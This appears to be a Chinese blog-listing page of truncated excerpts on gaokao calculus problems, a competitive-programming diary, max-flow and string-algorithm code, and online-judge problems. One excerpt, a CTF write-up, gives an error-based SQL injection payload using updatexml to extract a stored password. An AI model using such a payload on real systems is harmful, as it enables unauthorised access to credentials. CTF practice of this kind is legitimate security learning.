(2016天津压轴题)设函数$f(x)=(x-1)^3-ax-b,x\in R$, 其中$a,b\in R$(1)求$f(x)$的单调区间.(2)若$f(x)$存在极值点$x_0$,且$f(x_1)=f(x_0),$其中$x_1\ne x_0$,求证:$x_1+2x_0=3$;(3)设$a>0$,函数$g(x)=|f(x)|,$求证:$g(x)$在区间$[0,2]$上的最大值不小于$\dfrac{1}{4}$ 分析:(1)当$a\le0,f(x)$在$(-\infty,+\infty)$单调递增…

(2016四川高考数学解答压轴题)设函数$f(x)=ax^2-a-\ln x,a\in R$. 1)讨论$f(x)$的单调性;2)确定$a$的所有可能值,使得$f(x)>\dfrac{1}{x}-e^{1-x}$在区间$(1,+\infty)$内恒成立. 分析:1)略2)设$g(x)=a(x^2-1)-\ln x-\dfrac{1}{x}+e^{1-x}$当$a\ge \dfrac{1}{2}$时,$g(x)\ge \dfrac{1}{2}(x^2-1)-\ln x-\dfrac{1}{x}+e…

分析:处理恒成立问题,一般先代特殊值缩小范围.令x=0,则f(a)<f(0),容易知a<0. 排除答案C.容易理解a趋向于0时候,是可以的,排除D.在剩余的A,B选项里,显然偏向于A.因为A里的端点在四个选项里出现的最多.(如果实在不会做或者没时间,以上分析是不错的猜选择题的方法) 接下来我们再细致分析一下:刚才已经知道a<0,所以y=f(x+a)可以由y=f(x)向右平移|a|个单位得到.结合图像可知道分界点可以由$x=-\frac{1}{2}$取得,即$f(a-\frac{1}{2}…

已知函数$f(x)=e^x-e^{-x}-2x$(1)讨论$f(x)$的单调性;(2)设$g(x)=f(2x)-4bf(x),$当$x>0$时,$g(x)>0,$求$b$的最大值;(3)已知$1.4142<\sqrt{2}<1.4143$,估计$\ln 2$的近似值(精确到0.001). 分析:(1)$f^{'}(x)=e^x+e^{-x}-2\ge2\sqrt{e^x\cdot e^{-x}}-2=0$,故$f(x)$在$R$上单调递增.(2)$g(x)=e^{2x}-e^{-2…

解答:答案1,3,4. 这里关于高斯函数$[x]$的一个不等式是需要知道的$x-1<[x]\le x$,具体的:…

2016 10 29 周六 第一天 %%%,%ZHX大神 上午,60分, 下午,爆零orz 2016 10 30 周天 第二天 炒鸡倒霉的一天 %%%,%ZHX大神 据大神第一天的题最简单. 上午,和数学有关,还要推理,转化思想,把复杂的题简单化 可是我笨QAQ 95分 下午,130 2016 10 31 周一 第三天 换老师了,看起来好老实,大一的,浙江的啊! 上午,170分 下午,150分 T1 AC :T2 20 :T3 30. 2016 11 01 周二 第四天 上午 130 下午 80…

2018南京I题: dinic,链式前向星,数组队列,当前弧优化,不memset全部数组,抛弃满流点,bfs只找一条增广路,每次多路增广 #include <bits/stdc++.h> #define ll long long #define IO ios::sync_with_stdio(false);cin.tie(0);cout.tie(0) #define rep(ii,a,b) for(int ii=a;ii<=b;++ii) using namespace std; con…

2016腾讯春招的编程题 话不多说,直接上题!!! 给定一个字符串s,你可以从中删除一些字符,使得剩下的串是一个回文串.如何删除才能使得回文串最长呢?输出需要删除的字符个数 . 这道题是以回文为载体,考察两个字符间的最大子串,最大子串算法在表示字符串的关联度上用途很广泛. 而遮到题就是字符串的长度减去其和翻转字符串的长度的最大子串即可.最长子串的算法我一开始也是蒙的.这完全没没思路呀. 后来看到一篇blog,才明白最长子串,好的,最后我们形成代码 代码实现: function solution…

  偶然看到的比赛,我等渣渣跟风做两题,剩下的题目工作太忙没有时间继续做. 第1题 sql注入: 题目知识 考察sql注入知识,题目地址:http://101.200.145.44/web1//index.php 做题过程 第一步:注入Playload user=flag&pass=' or updatexml(1,concat(0x7e,(select pw from user limit 1,1 )),0)# ' 第二步:注入效果 Masel's secure site 重置数据库 Erro…

百练 / 2016计算机学科夏令营上机考试 已经结束 题目 排名 状态 统计 提问   B:单词翻转 查看 提交 统计 提问 总时间限制:  1000ms 内存限制:  65536kB 描述 输入一个句子(一行),将句子中的每一个单词翻转后输出. 输入 只有一行,为一个字符串,不超过500个字符.单词之间以空格隔开. 输出 翻转每一个单词后的字符串,单词之间的空格需与原文一致. 样例输入 hello world 样例输出 olleh dlrow #include <iostream> #inc…